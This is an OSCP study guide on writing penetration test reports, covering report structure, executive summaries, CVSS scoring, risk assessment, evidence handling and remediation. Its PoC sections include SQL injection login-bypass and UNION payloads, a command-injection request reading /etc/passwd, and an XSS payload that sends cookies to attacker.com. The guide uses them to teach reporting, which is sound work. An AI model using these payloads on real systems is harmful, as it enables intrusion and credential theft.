Domain 1Recon & ReportingINTRO

Report Writing for Penetration Testers

Study notes for Report Writing for Penetration Testers covering key PEN-200 methodology and lab techniques.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-05
#Report Writing for Penetration Testers#PEN-200

OSCP Study Guide: Report Writing for Penetration Testers

Author: OSCP Research Guide Last Updated: 2026-08-31 Target Audience: OSCP Candidates preparing for the penetration testing exam report


Table of Contents

  1. Importance of Reporting in Penetration Testing
  2. Report Types
  3. Report Structure and Components
  4. Executive Summary Writing
  5. Technical Findings Documentation
  6. Vulnerability Severity Rating (CVSS Scoring)
  7. Risk Assessment Methodology
  8. Evidence Collection and Screenshots
  9. Proof of Concept (PoC) Documentation
  10. Remediation Recommendations Writing
  11. Chain of Custody for Evidence
  12. Report Templates and Standards
  13. Offensive Security Report Format Requirements
  14. Writing Clear Reproduction Steps
  15. Avoiding Common Reporting Mistakes
  16. Timeline and Methodology Documentation
  17. Appendices and Supporting Documentation

1. Importance of Reporting in Penetration Testing

Why Reporting Matters

  • The report IS the deliverable. Hacking is the means; the report is the product.
  • A perfect hack with a poor report = failed engagement.
  • The report bridges the gap between technical findings and business decisions.
  • It serves as legal documentation of the engagement scope and activities.
  • It provides actionable intelligence for remediation teams.

Key Stakeholders Who Read Your Report

Stakeholder What They Care About Report Section
CISO / Security Director Overall risk posture, budget justification Executive Summary
CTO / IT Director Technical impact, remediation effort Executive Summary + Technical Overview
System Administrators Specific vulnerabilities, fix steps Technical Findings
Developers Code-level issues, patch details Technical Findings + PoC
Legal / Compliance Audit trail, regulatory alignment Full Report + Appendices
External Auditors Evidence of due diligence Full Report

The Reporting Value Chain

graph LR
    A[Reconnaissance] --> B[Exploitation]
    B --> C[Evidence Collection]
    C --> D[Analysis & Triage]
    D --> E[Report Writing]
    E --> F[Remediation Guidance]
    F --> G[Risk Reduction]
    
    style E fill:#ff6b6b,stroke:#333,stroke-width:3px
    style G fill:#51cf66,stroke:#333,stroke-width:2px

Critical Concepts to Master

  • Business impact translation: Convert technical vulnerabilities into business risk.
  • Audience awareness: Write for both technical and non-technical readers.
  • Actionability: Every finding must have a clear remediation path.
  • Defensibility: Your report must withstand scrutiny from auditors and legal teams.

Practical Tips

Tip: Before writing, ask yourself: “If I were the CISO, what would I need to know to make a decision?”

Tip: A good report should be understandable by a non-technical manager AND detailed enough for a senior engineer to implement fixes.


2. Report Types

Overview of Report Types

Report Type Audience Length Detail Level Purpose
Executive Summary C-Suite, Management 2-4 pages High-level Decision making, budget approval
Technical Report Engineers, Admins, Devs 15-50+ pages Detailed Remediation implementation
Full Report All stakeholders Combined Both Complete engagement record

Executive Summary

  • Purpose: Enable leadership to understand risk without technical jargon.
  • Length: 2-4 pages maximum.
  • Tone: Professional, business-focused, concise.
  • Key elements:
    • Engagement overview and scope
    • Overall risk rating
    • Critical and high findings summary
    • Business impact assessment
    • Strategic recommendations
    • Timeline for remediation

Technical Report

  • Purpose: Provide engineers with everything needed to fix vulnerabilities.
  • Length: Varies by engagement size.
  • Tone: Technical, precise, reproducible.
  • Key elements:
    • Detailed methodology
    • Each vulnerability with full technical details
    • Proof of Concept (PoC) code and commands
    • Screenshots and evidence
    • Step-by-step remediation guidance
    • References to CVEs and advisories

Full Report

  • Purpose: Serve as the complete record of the engagement.
  • Structure: Executive Summary + Technical Report + Appendices.
  • Contains:
    • All elements of both report types
    • Raw data and logs (in appendices)
    • Tool output and configurations
    • Chain of custody documentation

Report Type Selection Matrix

graph TD
    A[Engagement Complete] --> B{Who is the primary reader?}
    B -->|Management| C[Executive Summary]
    B -->|Technical Team| D[Technical Report]
    B -->|Both / Audit| E[Full Report]
    
    C --> F[Focus on risk & business impact]
    D --> G[Focus on details & remediation]
    E --> H[Include both + appendices]
    
    style E fill:#ffd43b,stroke:#333,stroke-width:3px

Key Concepts

  • Layered reporting: Same findings, different detail levels for different audiences.
  • Consistency: Findings numbered consistently across all report sections.
  • Cross-referencing: Executive summary references technical findings by ID.

3. Report Structure and Components

Standard Penetration Test Report Structure

graph TD
    A[COVER PAGE] --> B[TABLE OF CONTENTS]
    B --> C[DOCUMENT CONTROL]
    C --> D[EXECUTIVE SUMMARY]
    D --> E[TECHNICAL OVERVIEW]
    E --> F[FINDINGS]
    F --> G[RECOMMENDATIONS]
    G --> H[CONCLUSION]
    H --> I[APPENDICES]
    
    subgraph FINDINGS
        F1[Finding 1]
        F2[Finding 2]
        F3[Finding N]
    end
    
    subgraph APPENDICES
        I1[Tool Output]
        I2[Raw Logs]
        I3[Glossary]
        I4[References]
    end
    
    F --> F1
    F --> F2
    F --> F3
    I --> I1
    I --> I2
    I --> I3
    I --> I4
    
    style A fill:#339af0,stroke:#333,stroke-width:2px
    style D fill:#ff6b6b,stroke:#333,stroke-width:2px
    style F fill:#ffd43b,stroke:#333,stroke-width:2px

Detailed Component Breakdown

Component Description Required? Page Estimate
Cover Page Title, client, date, classification, author Yes 1
Table of Contents Auto-generated with page numbers Yes 1-2
Document Control Version history, change log, approvals Yes 1
Disclaimer Legal boundaries, scope limitations Yes 1
Executive Summary High-level findings for management Yes 2-4
Engagement Overview Scope, objectives, timeline, methodology Yes 2-3
Technical Overview Architecture tested, tools used Yes 2-3
Findings Individual vulnerability reports Yes Varies
Risk Summary Aggregate risk matrix Yes 1-2
Recommendations Prioritized remediation plan Yes 2-3
Conclusion Final assessment and next steps Yes 1
Appendices Supporting evidence, raw data Optional Varies

Document Control Table Template

Version Date Author Changes
0.1 2026-08-01 [Name] Initial draft
0.5 2026-08-15 [Name] Added findings, internal review
1.0 2026-08-25 [Name] Final version, client approved

Key Concepts

  • Modular design: Each finding is self-contained and independently readable.
  • Numbering scheme: Use consistent IDs (e.g., VULN-001, VULN-002).
  • Classification marking: Clearly mark sensitivity (e.g., CONFIDENTIAL).

4. Executive Summary Writing

Purpose and Audience

  • Primary audience: CISO, CTO, VP of Engineering, Board Members.
  • Reading time: Should be consumable in 5-10 minutes.
  • Goal: Enable informed decision-making without technical expertise.

Executive Summary Structure

graph TD
    A[Engagement Overview] --> B[Overall Risk Rating]
    B --> C[Key Findings Summary]
    C --> D[Business Impact]
    D --> E[Strategic Recommendations]
    E --> F[Remediation Timeline]
    
    style B fill:#ff6b6b,stroke:#333,stroke-width:3px
    style D fill:#ffd43b,stroke:#333,stroke-width:2px

Writing Guidelines

Do Don’t
Use plain business language Use technical jargon without explanation
Focus on risk and impact Focus on technical mechanics
Provide clear numbers and metrics Use vague descriptions
Prioritize findings by severity List findings chronologically
Recommend actionable next steps Leave remediation open-ended
Keep it concise (2-4 pages) Write a novel

Executive Summary Template

EXECUTIVE SUMMARY

1. ENGAGEMENT OVERVIEW
   - What was tested and why
   - When the engagement occurred
   - Scope and objectives

2. OVERALL ASSESSMENT
   - Overall risk rating (Critical / High / Medium / Low)
   - Number of findings by severity
   - Key risk areas identified

3. CRITICAL FINDINGS
   - Finding 1: [Business-impact description]
   - Finding 2: [Business-impact description]
   - (Limit to Critical and High findings only)

4. BUSINESS IMPACT
   - Potential financial impact
   - Regulatory compliance implications
   - Reputational risk

5. RECOMMENDATIONS
   - Immediate actions (0-30 days)
   - Short-term actions (30-90 days)
   - Long-term improvements (90+ days)

Translating Technical to Business Language

Technical Description Business Translation
“SQL injection on login form allows database extraction” “Attackers can access all customer data including names, emails, and payment information”
“CVE-2024-1234 in Apache Struts 2.5.30 allows RCE” “Known critical vulnerability allows complete server takeover”
“Weak TLS 1.0 configuration detected” “Encrypted communications can be intercepted, exposing sensitive data in transit”
“Default credentials on admin panel” “Unauthorized users can access administrative functions without authentication”

Key Concepts

  • Risk quantification: Use numbers where possible (e.g., “affects 15,000 customer records”).
  • Severity visualization: Use charts and heatmaps for quick comprehension.
  • Prioritization: Always present the most critical findings first.

Practical Example

Bad: “We found an SQL injection vulnerability on the /login endpoint that allows extraction of the users table via UNION-based injection.”

Good: “A critical vulnerability in the user login page allows attackers to access the entire customer database, potentially exposing 15,000 customer records including names, email addresses, and encrypted passwords. This vulnerability can be exploited with basic technical skills and requires no authentication.”


5. Technical Findings Documentation

Finding Structure Template

Each finding should follow this consistent structure:

graph TD
    A[Finding ID & Title] --> B[Severity Rating]
    B --> C[Summary]
    C --> D[Technical Details]
    D --> E[Proof of Concept]
    E --> F[Evidence / Screenshots]
    F --> G[Impact]
    G --> H[Remediation]
    H --> I[References]
    
    style A fill:#339af0,stroke:#333,stroke-width:2px
    style B fill:#ff6b6b,stroke:#333,stroke-width:2px
    style H fill:#51cf66,stroke:#333,stroke-width:2px

Finding Template

### VULN-001: SQL Injection in User Login Form

**Severity:** Critical
**CVSS Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Affected System:** webapp.example.com (192.168.1.100)
**Affected Component:** /login endpoint, POST parameter 'username'
**Discovered:** 2026-08-15

#### Summary
A SQL injection vulnerability exists in the login form. An attacker can extract, modify, or delete data from the backend database without authentication.

#### Technical Details
The 'username' parameter in the POST request to /login is directly concatenated into a SQL query without proper sanitization or parameterization. The application uses MySQL 5.7 as the backend database.

The vulnerable code pattern:
```sql
SELECT * FROM users WHERE username = '$username' AND password = '$password'

Proof of Concept

  1. Send the following POST request:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded

username=admin' OR '1'='1'--&password=test
  1. The application returns a successful login response, bypassing authentication.

  2. Data extraction using UNION-based injection:

username=' UNION SELECT 1,2,3,4,5--&password=x

Evidence

📷 [Screenshot Placeholder: SQL Injection Proof]

Impact

  • Complete database access
  • Extraction of all user credentials
  • Potential for data modification or deletion
  • Full authentication bypass

Remediation

  1. Immediate: Implement parameterized queries / prepared statements
  2. Short-term: Deploy a Web Application Firewall (WAF) rule
  3. Long-term: Conduct code review for all database interactions

Example fix (Python):

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# Fixed
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

References


### Finding Categories

| Category | Examples | Common CVSS Range |
|---|---|---|
| **Injection** | SQLi, Command Injection, XSS, LDAP Injection | 7.0 - 10.0 |
| **Authentication** | Weak passwords, credential stuffing, session fixation | 5.0 - 9.0 |
| **Authorization** | IDOR, privilege escalation, missing access control | 6.0 - 9.0 |
| **Data Exposure** | Sensitive data in logs, unencrypted storage, verbose errors | 3.0 - 7.0 |
| **Security Misconfiguration** | Default credentials, open ports, verbose errors | 4.0 - 8.0 |
| **Vulnerable Components** | Outdated libraries, known CVEs | 5.0 - 10.0 |
| **Cryptographic Failures** | Weak algorithms, hardcoded keys, no encryption | 4.0 - 9.0 |
| **Server-Side** | SSRF, XXE, deserialization, path traversal | 6.0 - 10.0 |

### Key Concepts

- **Atomicity:** One finding per vulnerability. Do not combine unrelated issues.
- **Reproducibility:** Any qualified tester should be able to reproduce your findings.
- **Completeness:** Include all relevant technical details without unnecessary noise.
- **Attribution:** Reference CVEs, CWEs, and OWASP categories.

---

## 6. Vulnerability Severity Rating (CVSS Scoring)

### What is CVSS?

- **CVSS** = Common Vulnerability Scoring System.
- Industry-standard framework for rating vulnerability severity.
- Current version: **CVSS v3.1** (also v4.0 available).
- Score range: **0.0 (None) to 10.0 (Critical)**.

### Severity Rating Scale

| Score Range | Severity | Color | Response Time |
|---|---|---|---|
| 9.0 - 10.0 | **Critical** | Red | Immediate (24-48 hours) |
| 7.0 - 8.9 | **High** | Orange | Within 1 week |
| 4.0 - 6.9 | **Medium** | Yellow | Within 1 month |
| 0.1 - 3.9 | **Low** | Green | Within 3 months |
| 0.0 | **None** | Gray | As scheduled |

### CVSS v3.1 Metric Groups

```mermaid
graph TD
    A[CVSS v3.1 Score] --> B[Base Metrics]
    A --> C[Temporal Metrics]
    A --> D[Environmental Metrics]
    
    B --> B1[Attack Vector - AV]
    B --> B2[Attack Complexity - AC]
    B --> B3[Privileges Required - PR]
    B --> B4[User Interaction - UI]
    B --> B5[Scope - S]
    B --> B6[Confidentiality - C]
    B --> B7[Integrity - I]
    B --> B8[Availability - A]
    
    C --> C1[Exploit Code Maturity - E]
    C --> C2[Remediation Level - RL]
    C --> C3[Report Confidence - RC]
    
    D --> D1[Confidentiality Req - CR]
    D --> D2[Integrity Req - IR]
    D --> D3[Availability Req - AR]
    
    style B fill:#ff6b6b,stroke:#333,stroke-width:2px
    style C fill:#ffd43b,stroke:#333,stroke-width:2px
    style D fill:#94d82d,stroke:#333,stroke-width:2px

Base Metrics Explained

Metric Values Description Impact on Score
Attack Vector (AV) N / A / L / P How the attack is delivered Network = highest score
Attack Complexity (AC) L / H Conditions needed for exploit Low complexity = higher score
Privileges Required (PR) N / L / H Auth needed before exploit No privs = higher score
User Interaction (UI) N / R Victim action required None = higher score
Scope (S) U / C Does attack affect other components? Changed = higher score
Confidentiality (C) N / L / H Impact on data confidentiality High = higher score
Integrity (I) N / L / H Impact on data integrity High = higher score
Availability (A) N / L / H Impact on system availability High = higher score

CVSS Vector String Examples

Vulnerability CVSS Vector Score Severity
Remote SQL Injection CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 Critical
Authenticated XSS CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 5.9 Medium
Local Privilege Escalation CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 7.8 High
Open Port (No Exploit) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N 0.0 None

CVSS Vector Abbreviations

Abbreviation Full Name
AV:N Attack Vector: Network
AV:A Attack Vector: Adjacent
AV:L Attack Vector: Local
AV:P Attack Vector: Physical
AC:L Attack Complexity: Low
AC:H Attack Complexity: High
PR:N Privileges Required: None
PR:L Privileges Required: Low
PR:H Privileges Required: High
UI:N User Interaction: None
UI:R User Interaction: Required
S:U Scope: Unchanged
S:C Scope: Changed
C:N/L/H Confidentiality: None/Low/High
I:N/L/H Integrity: None/Low/High
A:N/L/H Availability: None/Low/High

Tools for CVSS Scoring

Tool Type URL
First.org CVSS Calculator Official https://www.first.org/cvss/calculator/3.1
Snyk CVSS Calculator Web https://snyk.io/vuln/data/cvss-calculator
nuclei CLI Built-in CVSS scoring
Nessus Scanner Auto-generates CVSS scores
OpenVAS Scanner Auto-generates CVSS scores

Key Concepts

  • Base score is the most important for OSCP reports.
  • Temporal and Environmental scores are optional but add context.
  • Be consistent in your scoring methodology across all findings.
  • Justify your scores when they differ from published CVE scores.

Practical Tips

Tip: When in doubt, use the official First.org calculator. It provides the vector string automatically.

Tip: For OSCP, focus on Base Metrics. Temporal and Environmental are rarely required.

Tip: If a vulnerability has a published CVE, use the official CVSS score as a starting point, then adjust based on your specific context.


7. Risk Assessment Methodology

Risk Formula

Risk = Likelihood x Impact

Risk Matrix

graph LR
    subgraph Likelihood
        L1[Rare]
        L2[Unlikely]
        L3[Possible]
        L4[Likely]
        L5[Almost Certain]
    end
    
    subgraph Impact
        I1[Negligible]
        I2[Minor]
        I3[Moderate]
        I4[Major]
        I5[Catastrophic]
    end
    
    L5 --> R1[Extreme Risk]
    L4 --> R2[High Risk]
    L3 --> R3[Medium Risk]
    L2 --> R4[Low Risk]
    L1 --> R5[Negligible Risk]
    
    style R1 fill:#ff6b6b,stroke:#333,stroke-width:2px
    style R2 fill:#ff922b,stroke:#333,stroke-width:2px
    style R3 fill:#ffd43b,stroke:#333,stroke-width:2px
    style R4 fill:#69db7c,stroke:#333,stroke-width:2px
    style R5 fill:#a5d8ff,stroke:#333,stroke-width:2px

Risk Matrix Table

Likelihood \ Impact Negligible Minor Moderate Major Catastrophic
Almost Certain Medium High High Extreme Extreme
Likely Low Medium High High Extreme
Possible Low Medium Medium High High
Unlikely Negligible Low Medium Medium High
Rare Negligible Low Low Medium Medium

Likelihood Factors

Factor Description Rating
Exploit availability Public exploit code exists Increases likelihood
Attack complexity Simple to exploit Increases likelihood
Authentication required No auth needed Increases likelihood
Target exposure Internet-facing Increases likelihood
Skill level required Basic skills sufficient Increases likelihood
Detection difficulty Hard to detect Increases likelihood

Impact Factors

Factor Description Rating
Data sensitivity PII, financial, health data Increases impact
System criticality Production vs. development Increases impact
Regulatory requirements PCI-DSS, HIPAA, GDPR Increases impact
Business disruption Service downtime cost Increases impact
Reputational damage Customer trust impact Increases impact
Lateral movement Path to other systems Increases impact

Risk Assessment Process

flowchart TD
    A[Identify Asset] --> B[Identify Threat]
    B --> C[Identify Vulnerability]
    C --> D[Assess Likelihood]
    D --> E[Assess Impact]
    E --> F[Calculate Risk]
    F --> G{Risk Acceptable?}
    G -->|No| H[Prioritize Remediation]
    G -->|Yes| I[Document & Monitor]
    H --> J[Implement Controls]
    J --> K[Re-assess Risk]
    
    style F fill:#ffd43b,stroke:#333,stroke-width:3px
    style G fill:#ff6b6b,stroke:#333,stroke-width:2px

Key Concepts

  • Risk is not the same as vulnerability. A vulnerability is a weakness; risk is the potential for harm.
  • Context matters. The same vulnerability has different risk in different environments.
  • Business alignment. Risk should be assessed from the organization’s perspective.
  • Dynamic assessment. Risk changes over time as threats and controls evolve.

8. Evidence Collection and Screenshots

Evidence Types

Evidence Type Description When to Use
Screenshots Visual proof of vulnerability All findings
Command output Terminal output showing exploit Technical findings
HTTP requests/responses Burp Suite / curl output Web vulnerabilities
Code snippets Vulnerable source code Source code review
Network captures Wireshark / tcpdump output Network vulnerabilities
File hashes SHA256 of captured files Malware / file analysis
Log entries System/application logs Authentication issues
Shell access Proof of shell / user access Post-exploitation

Screenshot Best Practices

Do Don’t
Capture the full context Crop out important information
Annotate with arrows and highlights Leave screenshots unmarked
Include timestamps Remove identifying information
Show both request and response Show only partial output
Use consistent naming convention Use generic names like “screenshot1.png”
Redact sensitive client data Include real credentials in evidence

Screenshot Naming Convention

{finding-id}_{description}_{timestamp}.png

Examples:
VULN-001_sqli-login-bypass_20260815.png
VULN-002_xss-reflected_20260815.png
VULN-003_shell-access-root_20260816.png

Evidence Collection Checklist

flowchart TD
    A[Vulnerability Discovered] --> B[Take Screenshot]
    B --> C[Capture Command Output]
    C --> D[Save HTTP Request/Response]
    D --> E[Record Timestamp]
    E --> F[Note Affected System]
    F --> G[Hash Evidence Files]
    G --> H[Store Securely]
    H --> I[Reference in Report]
    
    style B fill:#339af0,stroke:#333,stroke-width:2px
    style G fill:#ff6b6b,stroke:#333,stroke-width:2px

Tools for Evidence Collection

Tool Purpose Key Features
Burp Suite Web proxy and testing Request/response capture, repeater
Wireshark Network analysis Packet capture, filtering
tcpdump CLI packet capture Lightweight, scriptable
gnome-screenshot Linux screenshots Region selection, delay
Snipping Tool Windows screenshots Built-in, annotation
hashdeep File hashing SHA256, MD5, SHA1
auditd Linux auditing System call logging

Key Concepts

  • Chain of custody: Document who collected evidence, when, and how.
  • Immutability: Hash all evidence files to prove they have not been altered.
  • Redaction: Remove sensitive client data not relevant to the finding.
  • Completeness: Capture enough evidence to prove the vulnerability exists.

Practical Tips

Tip: Always capture the HTTP request AND response together. A request alone does not prove exploitation.

Tip: Use Burp Suite’s “Copy as cURL” feature to include reproducible commands in your report.

Tip: Take screenshots of successful privilege escalation showing the new user context (whoami, id commands).


9. Proof of Concept (PoC) Documentation

What is a PoC?

  • A Proof of Concept demonstrates that a vulnerability is real and exploitable.
  • It provides step-by-step instructions to reproduce the issue.
  • It proves impact without causing unnecessary damage.

PoC Documentation Structure

graph TD
    A[Prerequisites] --> B[Step-by-Step Instructions]
    B --> C[Expected Results]
    C --> D[Impact Demonstration]
    D --> E[Cleanup Steps]
    
    style B fill:#ff6b6b,stroke:#333,stroke-width:3px
    style C fill:#51cf66,stroke:#333,stroke-width:2px

PoC Template

#### Proof of Concept

**Prerequisites:**
- Access to: webapp.example.com
- Tools required: curl, Burp Suite
- No authentication required

**Steps to Reproduce:**

1. Send the following HTTP request:
```http
POST /api/users/search HTTP/1.1
Host: webapp.example.com
Content-Type: application/json

{"name": "admin' OR '1'='1'--"}
  1. Observe the response contains all user records:
{
  "users": [
    {"id": 1, "name": "admin", "email": "admin@example.com"},
    {"id": 2, "name": "user1", "email": "user1@example.com"}
  ]
}
  1. Extract specific data using UNION injection:
POST /api/users/search HTTP/1.1
Host: webapp.example.com
Content-Type: application/json

{"name": "' UNION SELECT username,password,email FROM users--"}

Expected Result:

  • The application returns all user credentials from the database.
  • Response time increases slightly due to UNION query processing.

Impact Demonstrated:

  • Full database access achieved
  • All user credentials extracted
  • Authentication bypass confirmed

### PoC Types by Vulnerability

| Vulnerability Type | PoC Approach | Tools |
|---|---|---|
| **SQL Injection** | UNION-based, boolean-based, time-based | sqlmap, Burp Suite, manual |
| **XSS** | Reflected, stored, DOM-based | Browser dev tools, Burp Suite |
| **Command Injection** | OS command execution | curl, netcat, manual |
| **SSRF** | Internal network access | curl, Burp Suite, Python |
| **XXE** | File read, SSRF via XML | Burp Suite, custom XML payloads |
| **Privilege Escalation** | Kernel exploit, SUID abuse | LinPEAS, WinPEAS, manual |
| **Authentication Bypass** | Token manipulation, logic flaws | Burp Suite, jwt_tool |
| **Path Traversal** | File read via directory traversal | curl, Burp Suite |

### PoC Code Examples

#### SQL Injection PoC (Python)

```python
import requests

target = "http://webapp.example.com/login"
payload = "' OR '1'='1'--"

data = {
    'username': payload,
    'password': 'anything'
}

response = requests.post(target, data=data)

if response.status_code == 200 and 'Welcome' in response.text:
    print("[+] SQL Injection confirmed - Authentication bypassed!")
    print(f"Response: {response.text[:200]}")
else:
    print("[-] SQL Injection not confirmed")

Command Injection PoC (Python)

import requests

target = "http://webapp.example.com/ping"
payload = "127.0.0.1; cat /etc/passwd"

params = {'ip': payload}

response = requests.get(target, params=params)

if 'root:' in response.text:
    print("[+] Command Injection confirmed!")
    print(f"Output: {response.text[:500]}")

XSS PoC (JavaScript)

<!-- Reflected XSS Payload -->
<script>alert(document.cookie)</script>

<!-- Stored XSS Payload -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- DOM-based XSS Payload -->
#<script>alert(1)</script>

Key Concepts

  • Safety first: PoC should demonstrate the vulnerability without causing damage.
  • Reproducibility: Any qualified tester should get the same results.
  • Minimal impact: Use read-only operations where possible.
  • Documentation: Include both the PoC code and its output.

Practical Tips

Tip: For OSCP, always include the exact commands you used. Copy-paste from your terminal.

Tip: Show the “before” and “after” state. For privilege escalation, show both the initial user and the escalated user.

Tip: For web vulnerabilities, include the full HTTP request and response, not just the payload.


10. Remediation Recommendations Writing

Remediation Writing Principles

Principle Description
Specific Provide exact steps, not vague advice
Actionable The reader should know exactly what to do
Prioritized Order by urgency and effort
Verifiable Include how to verify the fix works
Proportional Match remediation effort to risk level

Remediation Structure

graph TD
    A[Immediate Actions] --> B[Short-term Actions]
    B --> C[Long-term Actions]
    C --> D[Verification Steps]
    
    subgraph Immediate
        A1[Apply hotfix]
        A2[Enable WAF rule]
        A3[Restrict access]
    end
    
    subgraph Short-term
        B1[Code remediation]
        B2[Configuration hardening]
        B3[Security training]
    end
    
    subgraph Long-term
        C1[Architecture review]
        C2[Security program]
        C3[Automated testing]
    end
    
    A --> A1
    A --> A2
    A --> A3
    B --> B1
    B --> B2
    B --> B3
    C --> C1
    C --> C2
    C --> C3
    
    style A fill:#ff6b6b,stroke:#333,stroke-width:2px
    style B fill:#ffd43b,stroke:#333,stroke-width:2px
    style C fill:#51cf66,stroke:#333,stroke-width:2px

Remediation by Vulnerability Type

Vulnerability Immediate Fix Long-term Fix Verification
SQL Injection Block with WAF rule Use parameterized queries Retest with sqlmap
XSS Enable Content-Security-Policy Implement output encoding Retest with Burp
Weak Passwords Force password reset Implement MFA Attempt brute force
Outdated Software Apply security patches Implement patch management Version check
Open Ports Close unnecessary ports Network segmentation Port scan
Default Credentials Change immediately Credential rotation policy Login attempt
Information Disclosure Reduce error verbosity Implement proper error handling Retest endpoints
Missing Encryption Enable TLS/SSL Certificate management SSL Labs test

Remediation Template

#### Remediation

**Immediate Actions (0-7 days):**
1. Apply the security patch for [component] version [X.X.X]
2. Enable the WAF rule for [vulnerability type]
3. Restrict access to [affected endpoint] to authorized IPs only

**Short-term Actions (7-30 days):**
1. Refactor the vulnerable code to use [secure pattern]
2. Implement [security control] across all similar components
3. Conduct a code review for all [type] interactions

**Long-term Actions (30-90 days):**
1. Implement automated security testing in CI/CD pipeline
2. Conduct security awareness training for development team
3. Establish a regular vulnerability scanning schedule

**Verification:**
1. Retest the vulnerability using the same PoC
2. Confirm the fix does not introduce new issues
3. Document the verification results

Writing Effective Remediation

Bad Recommendation Good Recommendation
“Fix the SQL injection” “Replace string concatenation with parameterized queries using prepared statements”
“Update the software” “Upgrade Apache Struts from 2.5.30 to 2.5.33 or later to address CVE-2024-1234”
“Improve security” “Implement Content-Security-Policy header with the following directive: default-src ‘self’”
“Use strong passwords” “Enforce minimum 12-character passwords with complexity requirements and implement MFA”
“Patch the system” “Apply Ubuntu security update USN-6543-1 by running: sudo apt update && sudo apt upgrade”

Key Concepts

  • Defense in depth: Recommend multiple layers of protection.
  • Root cause vs. symptom: Address the underlying issue, not just the symptom.
  • Cost-benefit analysis: Consider the effort vs. risk reduction.
  • Standards alignment: Reference industry standards (OWASP, CIS, NIST).

11. Chain of Custody for Evidence

What is Chain of Custody?

  • A documented process tracking evidence from collection to disposal.
  • Ensures evidence integrity and admissibility.
  • Critical for legal and compliance purposes.

Chain of Custody Elements

Element Description Example
Collector Who collected the evidence John Doe, Penetration Tester
Date/Time When evidence was collected 2026-08-15 14:30 UTC
Location Where evidence was collected Remote, via VPN
Method How evidence was collected Screenshot, packet capture
Storage Where evidence is stored Encrypted USB, secure server
Hash Cryptographic hash of evidence SHA256: a1b2c3d4…
Access Log Who accessed the evidence Audit trail
Disposition How evidence will be disposed Secure deletion after 90 days

Chain of Custody Log Template

#### Chain of Custody Log

| Date/Time | Action | Performed By | Witness | Notes |
|---|---|---|---|---|
| 2026-08-15 14:30 | Evidence collected | J. Doe | - | Screenshot of SQLi exploit |
| 2026-08-15 14:31 | File hashed | J. Doe | - | SHA256: abc123... |
| 2026-08-15 14:35 | Stored in secure location | J. Doe | - | Encrypted volume /evidence/ |
| 2026-08-20 09:00 | Accessed for report | J. Doe | - | Read-only access |
| 2026-09-15 10:00 | Evidence archived | J. Doe | - | Moved to cold storage |

Evidence Handling Best Practices

Practice Description
Write blockers Use hardware write blockers for disk imaging
Hash on collection Hash evidence immediately upon collection
Secure storage Store in encrypted, access-controlled locations
Access logging Log every access to evidence files
Backup Maintain multiple copies in separate locations
Retention policy Define how long evidence is retained
Secure disposal Use secure deletion methods (shred, degauss)

Key Concepts

  • Integrity: Evidence must not be altered from collection to presentation.
  • Accountability: Every action on evidence must be logged.
  • Continuity: No gaps in the evidence handling timeline.
  • Authenticity: Evidence must be proven to be what it claims to be.

12. Report Templates and Standards

Industry Standards and Frameworks

Standard Organization Focus Area
PTES Penetration Testing Execution Standard Complete testing lifecycle
OSSTMM Open Source Security Testing Methodology Operational security testing
ISSAF Information Systems Security Assessment Comprehensive assessment
NIST SP 800-115 NIST Technical guide for security testing
OWASP Testing Guide OWASP Web application testing
ISO 27001 ISO Information security management
PCI-DSS PCI SSC Payment card security
COBIT ISACA IT governance and management

Report Template Sources

Source Format Cost Notes
Offensive Security PDF/Word Included with OSCP Official OSCP template
Rapid7 Word Free Professional quality
Qualys Word Free Comprehensive
Custom Markdown/PDF Free Tailored to your style
LaTeX templates LaTeX Free Academic quality

OSCP Report Template Structure

graph TD
    A[Offensive Security Report Template] --> B[Executive Summary]
    A --> C[Technical Summary]
    A --> D[Findings]
    A --> E[Appendix]
    
    B --> B1[Overview]
    B --> B2[Risk Rating]
    B --> B3[Key Findings]
    
    C --> C1[Methodology]
    C --> C2[Tools Used]
    C --> C3[Scope]
    
    D --> D1[Finding 1]
    D --> D2[Finding 2]
    D --> D3[Finding N]
    
    E --> E1[References]
    E --> E2[Glossary]
    E --> E3[Tool Output]
    
    style A fill:#339af0,stroke:#333,stroke-width:3px

Key Report Standards

Standard Key Requirements
PTES Technical report, executive summary, methodology documentation
NIST 800-115 Scope definition, risk assessment, findings, recommendations
OWASP Web-specific findings, CVSS scoring, remediation guidance
ISO 27001 Risk-based approach, management review, continuous improvement

Key Concepts

  • Consistency: Use the same template for all engagements.
  • Customization: Adapt templates to client and engagement specifics.
  • Compliance: Align with relevant industry standards.
  • Version control: Track template changes over time.

13. Offensive Security Report Format Requirements

OSCP Exam Report Requirements

Requirement Description Status
Format PDF or Word document Mandatory
Length No minimum, but must be comprehensive Mandatory
Executive Summary High-level overview for management Mandatory
Technical Findings with details Each machine with vulnerabilities Mandatory
Proof of exploitation Evidence of successful exploitation Mandatory
Remediation Recommendations for each finding Mandatory
Original work Must be your own writing Mandatory
Plagiarism-free No copied content from other sources Mandatory

OSCP Report Structure (Required)

graph TD
    A[OSCP Exam Report] --> B[Executive Summary]
    A --> C[Technical Findings]
    A --> D[Appendix]
    
    B --> B1[Engagement Overview]
    B --> B2[Overall Risk Assessment]
    B --> B3[Summary of Findings]
    
    C --> C1[Machine 1 - 10.10.10.1]
    C --> C2[Machine 2 - 10.10.10.2]
    C --> C3[Machine 3 - 10.10.10.3]
    
    C1 --> C1a[Vulnerabilities Found]
    C1 --> C1b[Exploitation Steps]
    C1 --> C1c[Proof Screenshots]
    C1 --> C1d[Remediation]
    
    C2 --> C2a[Vulnerabilities Found]
    C2 --> C2b[Exploitation Steps]
    C2 --> C2c[Proof Screenshots]
    C2 --> C2d[Remediation]
    
    D --> D1[References]
    D --> D2[Tools Used]
    D --> D3[Glossary]
    
    style A fill:#ff6b6b,stroke:#333,stroke-width:3px
    style C fill:#ffd43b,stroke:#333,stroke-width:2px

OSCP-Specific Requirements

Element What to Include Why It Matters
